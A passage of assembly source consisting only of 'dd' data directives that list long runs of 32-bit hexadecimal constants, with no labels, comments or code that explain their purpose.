441EC032h, 5BF88AE2h, 0CCF7CEFFh dd 0C5DF0788h, 27499621h, 0B35B4B50h, 38D63270h, 360B34DAh dd 8083E49Dh, 0FA155559h, 81751CC5h, 2C5D8589h, 8ED72B2Eh dd 665664BDh, 758E1282h, 5BE901F9h, 0D7A470CBh, 75294514h dd 0D6522591h, 0A61E6F67h, 8F25DE42h, 1E4005D2h, 320F8F28h dd 0F92F0180h, 44F6C966h, 2B8B5C00h, 0DFEB86F7h, 0A8C80BD1h dd 66D7369Dh, 3ABF1AC4h, 0EFDD55A2h, 0F84609Ch, 3E055E60h dd 529BCC20h, 82D14740h, 37BA97h, 0A9F5BB49h, 1F7DC7D6h dd 0FE8ACD12h, 0C84ED9E3h, 0CE013639h, 7310E141h, 282E67C6h dd 0DBE60B4h, 868E4F6h, 6476914Ch, 771B410Bh, 0B0CB0ACDh dd 72165D0Eh, 31BD0025h, 0AB75BB98h, 0C7B00155h, 71159525h dd 0F07027B6h, 0CBEBD9BDh, 0F0FF754Ah, 336D033Fh, 0EA5B414h dd 0BE5CAFFAh, 9CFF8192h, 0CB0062BAh, 6F0CFEEh, 1EAFA58h dd 25F42B6Ah, 2BC18B1Ch, 6412D320h, 4A6E002Ah, 5DCBC704h dd 570369CFh, 30E161A2h, 5C1FDA80h, 0B55552C5h, 3B2F00F2h dd 50F9A832h, 0A940F6B4h, 8773FFh, 48F5786Bh, 0B0A53E5Dh dd 634F7504h, 37F102CDh, 45B8D939h, 0A7CBA101h, 651C4647h dd 4025A420h, 0BB136620h, 0B44EFE48h, 6FAE92D8h, 8F5A285Eh dd 0E96E8813h, 870CDBAAh, 5E919BE2h, 42BF8A6h, 0EAC08391h dd 2A50DAB0h, 185FD8Ah, 92D4C781h, 7F6A559Ah, 428095ECh dd 1C79BD8Eh, 1CC0600h, 77361ACEh, 5F6C3B5Ah, 0EE552D05h dd 87BF3471h, 0F0E4902Ah, 3A005C45h, 0F1994CD0h, 25BC4AF6h dd 767877CCh, 51DC45B5h, 0B982CA4Dh, 0A9E1AC86h, 0CE75C265h dd 0D1FF2D1Eh, 0B40B84B7h, 0E96618A2h, 8A200B4Ch, 0EE04035Dh dd 715B091Bh, 545844A9h, 6AE10C73h, 4E6D9C02h, 8927FE12h dd 0CA938139h, 0F83F5C54h, 0FB93C68h, 0C9456325h, 12E204D9h dd 0A94A79ACh, 2FCABC5Bh, 3AFA7E30h, 13506197h, 0AA6F762Eh dd 3CBE9D4Fh, 439292CDh, 0FE54BB04h, 7A801B08h, 93E429D1h dd 70F7D24Eh, 3C05CD2h, 0B7F8D00Eh, 534E3F2h, 2219BD31h dd 0A9A89B53h, 0AE202E8Eh, 4BC085DDh, 95EA4700h, 0A6F5162Dh dd 0D97C0235h, 9050ADDAh, 27DC4654h, 0D56ED1h, 0F725BFCBh dd 0A0754FADh, 0E3AA7DF9h, 1981BB40h, 0F86E6181h, 0C204AA73h dd 0B821CF80h, 7AEF9222h, 89EA4B3Eh, 0CFE92EB9h, 82EC39A9h dd 0E0B34D65h, 94FF6AE1h, 223ADC58h, 410500B2h, 3FA0A5EEh dd 169AB8BAh, 0F834A4BFh, 0E1513B1h, 2877ABEh, 0BB1C7CA2h dd 0C49C5C5Eh, 33BF400Eh, 9558C725h, 85319458h, 70E67111h dd 0C389F07Ah, 71583A79h, 0C9FE25A1h, 8114ED89h, 2E963635h dd 33AA7B12h, 1C12C171h, 73E1DE12h, 0FEBA202Ah, 1100CE06h dd 1ED07C36h, 975003F7h, 0BF527700h, 0E16B7B5h, 4FAB5F47h dd 8110691Bh, 95895251h, 5F38B739h, 48A5E995h, 0E05D6912h dd 47285571h, 0F97CA949h, 55750B97h, 0C2F3BFC6h, 89D0B875h dd 0BC6B513h, 0E8F9244Bh, 1D4EDBC0h, 0F3D79BBh, 403ED18Fh dd 0E92F7FDBh, 0DD155D69h, 8812C29Bh, 8AE3C90Dh, 0EC5DF525h dd 88DF4BB3h, 578A3A90h, 2021C438h, 9D901497h, 1F804E71h dd 0A01546BEh, 8E4C000Fh, 0FB9BE327h, 992A9D31h, 0A4829D1Ch dd 0FE8B9318h, 0E9E3097h, 0FDE85EEAh, 153BCD2h, 0E8FFD898h dd 0A733D380h, 8925DBAh, 0C9A9D607h, 33A8B171h, 0D1B9FB1Eh dd 6EEE4A38h, 38CA0584h, 458157A3h, 896FFCE1h, 0ABE83AE6h dd 0A8A8704h, 29A3FFE0h, 0FCFA8B0Bh, 75A5BBB7h, 8529ED81h dd 0B8739ADh, 5413C9BDh, 9D23C0FFh, 24972259h, 38B8F87Ch dd 93AACF5h, 0F7563E5Eh, 890988C4h, 711B558Dh, 135B6B11h dd 0B2E050h, 816B771Dh dd 75866FEBh, 9A3153h, 0E2C026D4h, 196ECBh, 95B64BC1h dd 0CC2E1CE1h, 0A70C1F97h, 0F019037h, 0FAD780E3h, 756E7Eh dd 80D0BEA1h, 3EBB585h, 0B86044A4h, 4BD06348h, 90961F8h dd 0D70AF195h, 5D44101Ch, 0F9C70481h, 0BD163A8Ch, 8C17A883h dd 9F0BDF0Bh, 58582D8h, 6DF17D2Ah, 12245942h, 677090D3h dd 0FA31252Fh, 0EA0B0AC5h, 97CE3D03h, 17A4E2EFh, 2BBEDFB0h dd 2DCA4ABAh, 0FF76C334h, 91C0D0DBh, 0F8E9E4EDh, 97FD8502h dd 0FD662B3Fh, 5866A5D9h, 10D4955Dh, 8112266Ch, 8AF57B60h dd 0E8BADA44h, 0D4DB9249h, 36FA0C81h, 0D6BD3E97h, 73D0F4Ch dd 84144BFDh, 0E0B6A633h, 0B5087BB5h, 0E91D0B05h, 59012D1Ah dd 2F219ED9h, 54256B3Dh, 0FE90AF8Ch, 33044C02h, 548EFBE5h dd 4BD72C1h, 0ABFFBC2Eh, 28060373h, 63D0D7C9h, 47F3BF7h dd 0CBAA3239h, 45A64E87h, 3BFFA1A0h, 4984E20Bh, 1192DE90h dd 0AD603804h, 0D05CFB61h, 48394B73h, 122B0943h, 44737024h dd 8B25F501h, 605A42C7h, 9081D96Dh, 1B52000Dh, 0A5976815h dd 0E2B77EA9h, 3DB656A4h, 0A5B6A69Eh, 96EB2788h, 0CDCCEEF8h dd 1C6E09DBh, 1E8E0C5Ah, 20F5AB52h, 0ED4DF96Fh, 61E93DECh dd 0E780C170h, 9B342E5Ch, 0D580A6E8h, 0BA7BCFFFh, 0FD245303h dd 899A1520h, 85C07989h, 0BB990135h, 3B7CBE86h, 0FFFE935Bh dd 81DB2AABh, 12DF8042h, 0BC6A62Ah, 5523F59Dh, 75D0963Ah dd 0CEFC0DD6h, 29FC0612h, 0B06C6658h, 2514F799h, 0C0C006F8h dd 965AF98Bh, 44E8F2E0h, 0CF01F808h, 3493C3DAh, 853B7A9Bh dd 0E07A81D8h, 0BEE02A12h, 0C856B550h, 40244DE9h, 0FCC8E56Eh dd 54D72D02h, 5C174A73h, 0BF3365CFh, 9681FF4h, 4EC1731Ch dd 70E33918h, 30BDE79h, 552515BDh, 83C09C15h, 9521BA51h dd 5F49E554h, 9EE5AA89h, 745FD7C2h, 1638A481h, 0AB5CC411h dd 4D430E6Bh, 6A0BBE4Ah, 853D5561h, 7F0CB0AFh, 0DF490483h dd 0AC50B3EFh, 1719A333h, 0D7B5292Fh, 0B7F34E34h, 497B000Dh dd 0BF840847h, 95DE704Ch, 467CF96Dh, 0CE3A001Ah, 0A71673Dh dd 0AF2F9925h, 0FD004DCh, 84DB12C6h, 0EC508960h, 3716422Eh dd 0ADE8AEE1h, 63E85FA1h, 75D902F8h, 74AD8B2Eh, 71684020h dd 6B00B725h, 83F64808h, 2F5AE36h, 0F2DC0B2Eh, 96586EE9h dd 39BBF94Bh, 370C250h, 5F7A819Bh, 9480B174h, 8A6D3118h dd 0EF8102FCh, 4F225E95h, 0C7972945h, 834C9EFBh, 3F1071CDh dd 0BBDB31D4h, 0B44D786Eh, 6F603ECEh, 0B08ABD0h, 1D52719Fh dd 0BC0D9389h, 6ABA4BEBh, 0A7D84F88h, 0BE6F1D1Fh, 0B8D79296h dd 9739C02Ch, 0E65DBF9Bh, 0B59CFEEDh, 1D6427CDh, 3A2DAA64h dd 839DFE6Ch, 0B4C5B6FBh, 91FF008Dh, 6AF3BEC2h, 899D9A4Bh dd 0FAA87929h, 64C4C75Bh, 30B9A181h, 0BABB9600h, 5216940Eh dd 4FF5C150h, 60F21F54h, 9D1A41F3h, 18796773h, 54AB2A19h dd 0C2C0CBBCh, 56F36A82h, 491C4A00h, 90EC53A2h, 27B00607h dd 0B2F1A7E5h, 30BBDA4Bh, 3160F89Ah, 1258527h, 8D8B56FEh dd 21BDE53Ah, 0EED514F3h, 7A039A7h, 7D00C276h, 0AA2A486Ch dd 9D8D0F43h, 2540C5F9h, 4EA8EA70h, 0AC9AADAFh, 0F7048C14h dd 2311BD09h, 0C309E8AEh, 0D832CC29h, 21C4A9h, 9C3CBBCAh dd 7764A5AAh, 628B7C95h, 0E171F9BFh, 9C4F4A7h, 0FBDB04C2h dd 736C7D72h, 74302D26h, 13527060h, 0C6C0FDE7h, 904013A6h dd 64CDAE0Bh, 3CCC142Bh, 0CB71FE89h, 7FBF89BDh, 8DC6F7C1h dd 26DF7B80h, 5D02900h, 4217614h, 9AA15094h, 0CE7564D7h dd 35E7ABF9h, 0DDD55BF0h, 7FF73A09h, 0AF51E0h, 0AA4C6BDBh dd 40733175h, 7AAD5F00h, 0EE69A43Eh, 8C0F253Dh, 96405E79h dd 3F97537Bh, 629F8105h, 28DA4039h, 5D02DDADh, 5BDC6016h dd 1AAC2BB9h, 67A3018Ch, 6BAB2107h, 985B507Ch, 0D200E4C0h dd 2B82DD2Dh, 0EC430Ch, 0B66B9560h, 4767BB75h, 5B7D2202h dd 742FB750h, 81D42589h, 251E01DCh, 188B7B2Eh, 0AFF96E6Eh dd 99DD259Eh, 282ED9B1h, 0D58A3DDBh, 427B8C1h, 8A2DC1ACh dd 335C5E62h, 3DA9B916h, 9B965B12h, 505980B3h, 29F8522h dd 841FE381h, 0CE5E6517h, 12690055h, 0CB7E636Ah, 0DA01BA5Bh dd 8960A84Bh, 18C1266Eh, 7325E97Fh, 16887361h, 84B8B8FAh dd 0B3BB7647h, 38D60EC2h, 9FEF325Fh, 91F5C086h, 398DF97Dh dd 76587E17h, 800534C2h, 6FDD7F40h, 0CAEE4C17h, 91A2DAEEh dd 4C30C0B8h, 614B6D79h, 9AE7FE57h, 0DEF82ACEh, 0A5DE7CA2h dd 0B0BD27F6h, 68D0B686h, 9665CE17h, 3D12D1ECh, 0F20DF60Bh dd 26BE301Bh, 53CD9A02h, 0F7C92061h, 3D628CCFh, 0E1C2C0DEh dd 43719513h, 49027CEAh, 0F7F4E9A5h, 0DE7C90C2h, 0ED8004DCh dd 0AB92C2DDh, 0B87EDB23h, 83D3C8h, 9CFB637Dh, 0D46CA93Bh dd 0EFC8B4Bh, 12C19E9Dh, 8FD1F8DEh, 675D6ED3h, 80A09046h dd 12577A7Ch, 84FA08BDh, 49B404BDh, 815F002Ch, 0BE6832C7h dd 0E5AD9B33h, 0E32C5CCCh, 5A17D919h, 7621203Ah, 4100CCC6h dd 64964CF7h, 2417348Bh, 40A89589h, 6FD3F681h, 24BF3Bh dd 4CB86AEEh, 1FBB571Ah, 182B3016h, 0CDFA1A59h, 0B817D704h dd 1FC2AFE8h, 0FA996656h, 688839E2h, 1E0FA392h, 57E540A1h dd 0DB19B88Eh, 804798B5h, 5BCB01D5h, 0BB17048Fh, 1F5730BDh dd 15633FB8h, 0FDEA81C7h, 1158F5C3h, 38241D18h, 0EA2C45C2h dd 5BF4D180h, 9F1310DDh, 190465B7h, 580013EDh, 98B8FA81h dd 9AD5FFA2h, 0A9A602B9h, 1FE90230h, 1288E20h, 67B20012h dd 0A66D42FCh, 8B0DBAFDh, 465BE9DFh, 38C0FBC8h, 5D87AE21h dd 10248CB4h, 7C2206BCh, 9E940E00h, 0BD3FC8E1h, 169B07E9h dd 20A2465Ah, 8EEA152Fh, 3CE4F700h, 12B68596h, 0CE06009Bh dd 0E91D1EB7h, 0B4663EC5h, 0EFEA5739h, 19F795E4h, 8A53612h dd 792180AAh, 0D93B58B3h, 4157D21h, 52930542h, 0B7B80706h dd 0A612B313h, 6D760010h, 6B9FC026h, 7BE297C5h, 21F008DEh dd 266550h, 54FB0CF7h, 0F5129399h, 63F898C0h, 419B7061h dd 5D3080E1h, 8BDAD0FAh, 0CFCA0015h, 60B83292h, 4A60BB05h dd 0BFD21F88h, 0EA18CF80h, 1047B784h, 8C6CB84Ch, 7CBDA20Fh dd 2A15019Fh, 58808DA8h, 8B395A7Eh, 48E87784h, 0CDE2B200h dd 0A6946299h, 0E9F500CFh, 7AA17F1Dh, 0A000E1AEh, 0ACF74B8Ch dd 0F2F6EBA9h, 0DAE0A2h, 289C4079h, 718EB72Ah, 0C1E57F00h dd 0AD37732h, 1ECF0ED4h, 0A5A0D0B4h, 0C8D8E3F6h, 0E89D5400h dd 52C20444h, 64580019h, 8701203Dh, 5F0068F8h, 3C09DFEEh dd 0C6F692h, 0A79E46Ch, 2D45D199h, 0AF02F472h, 23586D56h dd 206F407Dh, 0DAB00031h, 0DD99B61Eh, 54FA3286h, 0E794641Dh dd 0F3071A00h, 73308061h, 95863E55h, 0D7980238h, 0F1D18CDh dd 62AE38C3h, 99B9A0C4h, 0A90331DAh, 0BEEE9051h, 85BD1E08h dd 0B4611300h, 4DBE75h, 4454DB77h, 5134C01Bh, 44A33F28h dd 5C07B900h, 6A46CCC7h, 0C38820F2h, 0D63171Dh, 2D3924C6h dd 50CA0130h, 0C285AB72h, 70BE203Ch, 10AE4630h, 83F81Bh dd 45DF0311h, 6167AF15h, 0DCCF5700h, 0F4BB20Bh, 0F58D00C1h dd 6B329DF6h, 1D01E82Fh, 12A00DF2h, 46C4C3F4h, 0C1CB01DEh dd 2FD7D8BFh, 0ED87CC5Ch, 0F51E7B0Eh, 862B81BDh, 48D0429Ah dd 11FF63Ah, 0C3A885AAh, 0D424DAE3h, 0BA306BB0h, 0A5FE180Ah dd 0D46D0368h, 0E24EAF23h, 0D79D42C0h, 721803F0h, 7B282AAEh dd 9609303Ch, 0B7F60261h dd 74A6300Eh, 33AEFFBh, 98859EABh, 642192Ch, 0A687471Bh dd 609530A4h, 503A0128h, 78BE14E6h, 424C000Ah, 0B5CCCD87h dd 78C08862h, 0A77C7DFBh, 1CD1D0EEh, 19F443C6h, 0C0CDC630h dd 32C23C0Ch, 0B598D623h, 610BB010h, 66F8E942h, 5C21A182h dd 50175951h, 0A4CFA3A0h, 1D9F938h, 7DF3234Eh, 208028C2h dd 3DC7EB7Bh, 0FF1D2B0Ch, 0AF16C63Ah, 0C1626A0Fh, 0DC426332h dd 4FF3B180h, 0A70633E1h, 0B7A00B07h, 4540ABCCh, 0C620B0C8h dd 31834251h, 8259B73Ch, 7CBEB1A8h, 0CC19C1A4h, 0C1B8CBF0h dd 60C5C886h, 3D78886Bh, 69E0002Ch, 0F2ACD7D0h, 7778BE14h dd 0F87211A0h, 6FBDFE05h, 6E98003Dh, 0E0508EAh, 6A3CE000h dd 240AB89Dh, 7C454C56h, 7CC68A03h, 7905B5A6h, 0AAB36A01h dd 81582408h, 41F84CDBh, 43B9C389h, 38C19393h, 442E1B00h dd 15C770h, 9446E6B4h, 0D866606Ch, 4E267A03h, 0EB06CB56h dd 7459F845h, 0D44414AAh, 0BE06C04Ah, 189A41EEh, 59879130h dd 0A11EAAFh, 672E0AA0h, 0F3D300D8h, 74B3A1A9h, 3E2BA300h dd 75D2FDC5h, 43C240Eh, 67A6425Ch, 0AAB8ECA0h, 0D200C66Ah dd 3C0D8B9Dh, 1F73A729h, 0E33893h, 25745E0Ch, 6B0364FAh dd 6EAB470h, 0FBA2E049h, 0A7C60288h, 3AC2BA9Dh, 6382DCA0h dd 6D00A5FCh, 53DF85EFh, 75D70C15h, 434717A7h, 0FC600CAAh dd 0F6308DC0h, 712A390Dh, 3C68496Eh, 4A001622h, 3C4313ABh dd 3B743B7Bh, 0D88083BAh, 0FFAB6B3h, 7E09E8FEh, 11BCE6Ah dd 0B0D9C270h, 0F960D440h, 5BD338A5h, 8EFB0378h, 0CADA541Bh dd 4D82E3A8h, 253FAB00h, 0AC61FC53h, 7121E35h, 0D1E540D4h dd 4A63B0F0h, 0CC305960h, 0C0FB832Dh, 68A7A28h, 660747D4h dd 0D063DBC0h, 310381E0h, 40C360BDh, 56267205h, 60581D3Ah dd 247BB410h, 71D103EFh, 6A5501F1h, 21BF0830h, 247315h dd 188AE1B3h, 8E3A9E14h, 83CE70C3h, 0C7980005h, 0F0B11121h dd 0F200E0BAh, 8A58D7A9h, 1D7AAD59h, 465B4419h, 89BA2FA1h dd 7B503E00h, 0A58E8C3Dh, 8069001Dh, 0C3ED4E74h, 560087B6h dd 0D5B02D78h, 664CA7Eh, 71AF8E15h, 0E80CC04Ah, 0D80F9933h dd 3AE500D2h, 32EE4312h, 0A400FA39h, 0D4BF892Eh, 0A932490h dd 47CCFCD3h, 0C0AF1DB3h, 0BC11AA0Dh, 50ECE7D7h, 57A15D00h dd 33216A7Ah, 79DE034Eh, 2F7C1615h, 0D2A2CCC0h, 3A87AD0Bh dd 32778005h, 0A54209Ch, 771775DFh, 0E21E07A7h, 40DAE7D6h dd 64E47B42h, 90713301h, 7414B1C2h, 0E686D0h, 7DD3B2DDh dd 85644CA7h, 0FA193007h, 4310ACFEh, 10DBB4h, 0F9403DC4h dd 0DADF0DC3h, 175B9B00h, 0DB7887F0h, 8886377h, 2001C440h dd 125B943Ah, 96D46003h, 36A81337h, 4FAB00A7h, 80513150h dd 28566800h, 99FAC516h, 0C0DF74B4h, 2943F60h, 7E2EA12Dh dd 8E0E14E8h, 21D68DE7h, 0E029DE4h, 0BED50791h, 39B1CA00h dd 5B00A456h, 26DBB9F5h, 0C8DF0CA7h, 0E1C007B8h, 46F01158h dd 4122B7h, 6B5B998Ch, 0A8D0A7C7h, 9807B701h, 1627D8B0h dd 46B05046h, 283029Ch, 3166A130h, 9C6410D0h, 0D6D50302h dd 0B94F0834h, 97D74F0h, 0A7B84673h, 5C6EE00h, 323C8879h dd 59AB3BF3h, 0AE71FB80h, 0C293090Ch, 0E3FAA0C0h, 3949F2Fh dd 4E04E750h, 830D749h, 68921DBh, 3513009Fh, 0DE5D67F3h dd 4918FD5Fh, 80B1154Eh, 0C61728BCh, 5CF90C94h, 4F80282Ch dd 642F530Fh, 1EFAC0DAh, 0A04518C8h, 1BAA6D0h, 1295672Bh dd 40D62E22h, 0A4EA72BBh, 0E30EAB00h, 0DF79A6F4h, 61C90005h dd 0EF5C4B2Ch, 0E13E5E9Dh, 6B91001Ah, 88E3C013h, 830E5023h dd 1370012h, 538C6C7Bh, 8601B47Ah, 0B18DE0B8h, 11DCA083h dd 17820168h, 8C765D19h, 4B37E4DFh, 832F5700h, 0B2E5846Ch dd 643A00ABh, 50995DC0h, 81006BFAh, 4F35F6C2h, 0F449D7DFh dd 0CD1C0045h, 0D1B330D8h, 0DC0025B5h, 8C935906h, 0DB72F9h dd 0D7331380h, 9FBA30AFh, 0E423C11Ch, 39F24C80h, 7477C80Ah dd 0F0AD00F9h, 425EA7A8h, 7BE288DBh, 4917AB00h, 3D9635F2h dd 14541EFEh, 0B896D2h, 70AFF00Fh, 2B0C5A60h, 20C97A6Eh dd 0E09E0F49h, 203417CFh, 60CC4FE3h, 181A1FD6h, 3003B4EAh dd 4B98CE88h, 6DAB3501h, 6CC32DEEh, 0C01FE4D0h, 87C6E920h dd 9618B5E7h, 0D05894BDh, 0C5A17017h, 866E35C8h, 300A197Ah dd 30131FD7h, 4D87CD41h, 0A96C2620h, 9017E730h, 0A71687C5h dd 9AD9D72Ch, 8E2AF70Fh, 80482E27h, 576903A8h, 3CCD716Bh dd 0C61995B4h, 875B08ACh, 74BF0C21h, 0ED6E00EFh, 18B0202Ch dd 999D8E36h, 9F1EECF1h, 3030C683h, 68DD7FD0h, 8A8C00Eh dd 0C78FC872h, 0A9795934h, 0E151BFE0h, 0E302A8BCh, 8AC80323h dd 82B49640h, 0B8080C66h, 1BD40E21h, 33C04303h, 51081CC2h dd 868B5706h, 7160CAC9h, 9C8CA8AEh, 0B0C61BA9h, 52C090C4h dd 627D4021h, 4CE3DC06h, 6008F471h, 0DAAD2195h, 50003040h dd 0C1215D1h, 167A48Eh, 6C1FC321h, 0DC88AEF2h, 3890E696h dd 0F294503h, 10B79095h, 0C05054C8h, 8A27031Ah, 6448C1Ch dd 1CBA98C1h, 0CACD9417h, 3894BABDh, 7C992C00h, 0C8889602h dd 49653410h, 4030408Ah, 8A23037Eh, 4223C46h, 316D503h dd 0F05BDC56h, 3DF3C2Dh, 5391A4A6h, 40D05D77h, 9FFCCBBFh dd 0E429C815h, 0B06446C8h, 167CE63h, 0ACF58D15h, 0C082CAF0h dd 12EAEEEh, 161A7F54h, 42884130h, 67CB2824h, 0E040801Fh dd 0F4CA1CC8h, 0F5C7C4A9h, 8A91809Ah, 37B4C621h, 80720C4Ch dd 0F9B0B115h, 6ED0B588h, 2124836h, 6D5468F8h, 35097C44h dd 23998E66h, 7CAFB60Ch, 0D908F561h, 78B7A720h, 46020978h dd 0E017D7B0h, 0C980EC91h, 0DB327A03h, 0C02E2D02h, 0A031559Bh dd 8420C94h, 0FDB31C43h, 759380F3h, 7179E321h, 2365E900h dd 0E7614902h, 0B78E004Ah, 7C80C99Eh, 7B0D4C35h, 185C5631h dd 0A99D1040h, 76C93F2h, 541E4025h, 20FF62FCh, 5B40DEB1h dd 9B517500h, 0B03792C5h, 7B8C0039h, 9830C9F1h, 0CCA9EA83h dd 36D8D12Bh, 6B5A020Ch, 30ACCE78h, 980F3A0h, 0AB6B0042h dd 52D2E712h, 0FD0993F9h, 0A02BFA02h, 0B54071CCh, 0AEC42842h dd 0A98B24F4h, 5964A1D0h, 390188Ch, 1427CE5Fh, 50A3EC96h dd 0B04CA900h, 0CB1D6CADh, 6E61008Fh, 841C316Ah, 10922CC2h dd 23EECA0Ch, 4036F0ACh, 751250F1h, 0C00905D5h, 0FE4833CAh dd 293600A9h, 98EA4357h, 0F9C9A196h, 0B5A40054h, 0F0ABB8C6h dd 55018189h, 932C05F8h, 0E9800E9Bh, 97CEF34h, 76C25528h dd 3B8F3429h, 24B25CE9h, 80EF7F61h, 621379F1h, 4AFDE9Eh dd 157D7673h, 29B081E2h, 58AC205Fh, 45810344h, 45BC2046h dd 2819C492h, 0C098B097h, 0C882E853h, 4890852Dh, 1607A826h dd 8929C738h, 18410099h, 2603091Dh, 0C89C148Ah, 315C20Bh dd 9DFF0096h, 51B83C9h, 4C5728FFh, 0DA088753h, 7D688798h dd 62B40A55h, 6702A947h, 0C40847A8h, 9D126780h, 3DF48521h dd 6A47D400h, 0A402969Fh, 4C81F288h, 0FBC04CE8h, 6D53F6AFh dd 981FF820h, 391946D8h, 355B1277h, 0B0F8F414h, 87CFE8h dd 65A7AA23h, 0DC75C94Bh, 6C98DA03h, 0F1EBE1h, 0C1ACA29h dd 295F9366h, 179A7300h, 0F0FC33BEh, 0A9E97325h, 0CC181C40h dd 35588704h, 0E5326D5Bh, 87C4F720h, 1BE1006Ah, 0BFCF440Eh dd 11295FD0h, 8A01B015h, 0CEA30802h, 0A1F665F0h, 4424C080h dd 0C31C13A8h, 32B821C8h dd 89198F15h, 20725FB9h, 0D81121F0h, 0DD18708Fh, 6B59048Ch dd 0CE84CE7Bh, 4106000Ch, 0CAB1E46Bh, 0CEDD00C0h, 0D2269F33h dd 8360E677h, 599E31A8h, 14550049h, 0B9DAA5C1h, 2900C33Ch dd 0B78FBF62h, 3293E8h, 0EF760156h, 31C84B58h, 39CAA50Fh dd 3B66A320h, 0D240066Fh, 588AFE47h, 0C85C9300h, 0ECD0AAEBh dd 30A0B857h, 2728A9A6h, 0A03A767Bh, 4D613F17h, 0E87824B8h dd 50A36A02h, 1F106132h, 20B1E993h, 9493B9A4h, 88658400h dd 0A1D8A55Fh, 9BA300CFh, 199C861Eh, 0C13A444Dh, 60DBBF4Bh dd 5FD1CCC0h, 0C0DC5157h, 0E488344Eh, 11F71BC7h, 10805FE7h dd 0CCAB78E2h, 0A8295541h, 0DB6CD21Fh, 6380D79Dh, 8242A24Ah dd 542A30EFh, 6F5952C9h, 6840900h, 68153C8Bh, 0D88200E4h dd 0A72C8872h, 1628317Ch, 0C3008870h, 0BC0B05C5h, 5133F363h dd 80CD9C5Fh, 0B1BCB829h, 2711C942h, 2009A93Dh, 9F61CCC3h dd 580328Ah, 0FFF947CEh, 0E323B83Eh, 0ED9A3307h, 29CB07D0h dd 0CA540566h, 74C9F88h, 60571384h, 5012946Ch, 0CF00F0B1h dd 912C6AB2h, 33720056h, 55B9E03Ch, 0C04CF810h, 0EA200D34h dd 8EF489B6h, 0C9F0171h, 6DE92953h, 6B402079h, 5987830Ch dd 71090CBh, 0E2FE2433h, 7129B0C2h, 0E9078255h, 0D0B9C947h dd 0C090A8F0h, 79A40049h, 8E354C64h, 7490A681h, 4022C624h dd 98BE8201h, 90504B9Dh, 0FC07717h, 218611E9h, 21DAAE0h dd 99F40EF8h, 72D084ABh, 880379B6h, 55340DCBh, 88E5DB6Dh dd 51A546Bh, 255B3D2Dh, 782480CDh, 0CE037951h, 46282B95h dd 0DCCFBB7Bh, 0EFC82480h, 2A343EBBh, 60003458h, 0E0A83744h dd 9748A7F9h, 49900124h, 99C9BB89h, 1B50E4h, 0E2E39225h dd 30D6805Ah, 0A5133Ah, 0A983E76Fh, 0B751E5h, 5E04C201h dd 888467F8h, 0FDD33D03h, 0C1C9B3E9h, 8BEA92Fh, 0A3719E00h dd 0A21E3FF6h, 101F2A00h, 70ACFD5Eh, 0E24F0778h, 0CE6DB943h dd 97876B80h, 8D00D9F2h, 4504D854h, 1D1CFD3Bh, 0BCF14717h dd 70F8987Eh, 104EA89h, 0D2639E2Dh, 8097A465h, 0EE8CBB70h dd 3CE467h, 0A99FDAA3h, 76FDD00Eh, 6175B300h, 9A97BD8Ch dd 0D6DC00BEh, 1FB22F36h, 3D004D94h, 4313B826h, 5A5E77h dd 0C6EF33D5h, 9038B158h, 3285BB06h, 168BA23h, 520E4613h dd 0F4EDD27Dh, 0E70065A6h, 84C0DD0Fh, 39F7F1Bh, 0E0897761h dd 0CDA176D1h, 0DE2080E6h, 8091B8Bh, 859900CCh, 430D3205h dd 753CC49Fh, 0B5ED9EBCh, 4BF66980h, 0E760DDh, 8FD75635h dd 10B05F78h, 7C620200h, 4A494132h, 98193B18h, 9ACDC200h dd 7E58BB44h, 0A091F803h, 6499170Ah, 6186A878h, 9FC01B89h dd 29448C79h, 289C5CDBh, 6A19A309h, 18B71B00h, 341EAC0Ah dd 0E7D9AAA1h, 51837560h, 8B8DC4B1h, 0D524C000h, 8636FB18h dd 59E330B8h, 0DEA0F6C8h, 0FE5AD0C0h, 80E2F8h, 0A3881575h dd 4A3446A6h, 9EF04200h, 0E22120B8h, 15051D94h, 84D580FBh dd 3686374Ch, 6AA3ED00h, 6EDE4166h, 58BA19C3h, 1888E015h dd 7E1B08B3h, 2EC4699Fh, 1B9E405Ch, 6EBF5AAEh, 0ADE4F500h dd 9D61235Fh, 0C08A7432h, 5A87BD48h, 0C5060591h, 0D53C5771h dd 0C8596008h, 5AEE470Fh, 19324500h, 0B22707C0h, 480E6481h dd 5A28609Eh, 0ED052392h, 7C004211h, 0FC795AF7h, 0A403CB81h dd 334E726Ah, 0E0410183h, 0DD6E82C8h, 8920E4F6h, 0C5C01605h dd 0F8001DBAh, 72183E02h, 576606B7h, 386794D7h, 0C08988C8h dd 5955A83h, 5522E546h, 5AEA7B01h, 3EDE31DFh, 50E4E530h dd 1860989Bh, 7492C656h, 0A00C0A58h, 59880240h, 857C005Bh dd 0D0E13494h, 0E418AE01h, 61382AE8h, 0B80B182Bh, 95474999h dd 0C081CB00h, 6E646A86h, 7308C697h, 0D900202Bh, 3152CB8Ch dd 130D7BE9h, 38F8B88h, 36BD99C5h, 0E70059A6h, 5684FAAh dd 3195AB3h, 0E9DE85AFh, 21035BF5h, 0B259022Fh, 9B44A021h dd 84A6AAAh, 714AACh, 5222D59h, 3B04990Ch, 56589A86h, 5588048Eh dd 666F95C0h, 87340F5h, 0B1A2DA00h, 36339B82h, 0DEB33011h dd 64C5F7B9h, 1F7FDB5Ch, 848076A2h, 0BE2D3EEDh, 3D9C9095h dd 58B2C210h, 0B493E718h, 248C9876h, 14945A82h, 56884C3Dh dd 5AE94A80h, 98336B2h, 1F2FBFDEh, 0C37F9027h, 6011422Eh dd 7EAE37h, 5C231C4Dh, 7D826DC5h, 77D65200h, 0B8EA7563h dd 864E0033h, 0BCB2DC0Fh, 40C2402Eh, 4837A68Ah, 9160ACh dd 7097941Ch, 0A741BF7Ch, 0B500EAB0h, 0B3130ABEh, 6030FDA4h dd 0C3EEF1B8h, 89008601h, 60CDDC61h, 488AD628h, 12076C0Bh dd 60025975h, 0C57FEC10h, 57AEE400h, 0DDEBCB44h, 0C2FB3036h dd 0A6D4BC40h, 0E4EE59DFh, 0FA55E006h, 17EA0320h, 8EDDC0F0h dd 260809Ch, 2B247F82h, 83C04C6Dh, 46C02FCBh, 175C2296h dd 0CB9B27h, 0F74C54F8h, 3013418Fh, 4C004A68h, 2EDE5AB2h dd 90D66038h, 414C23Fh, 5468BC03h, 0E93E19A9h, 0D8831EE2h dd 7E789EC6h, 0B6FB1809h, 0C9424DEh, 82CB9260h, 6BFEC010h dd 2E805DC8h, 5B04CB8Ah, 4C323C08h, 0EDF869E0h, 20847B79h dd 0FC8B7D50h, 1A6923h, 0C08CCB94h, 4486696Eh, 8B2ED85Fh dd 9E0349CBh, 0DA56D1C8h, 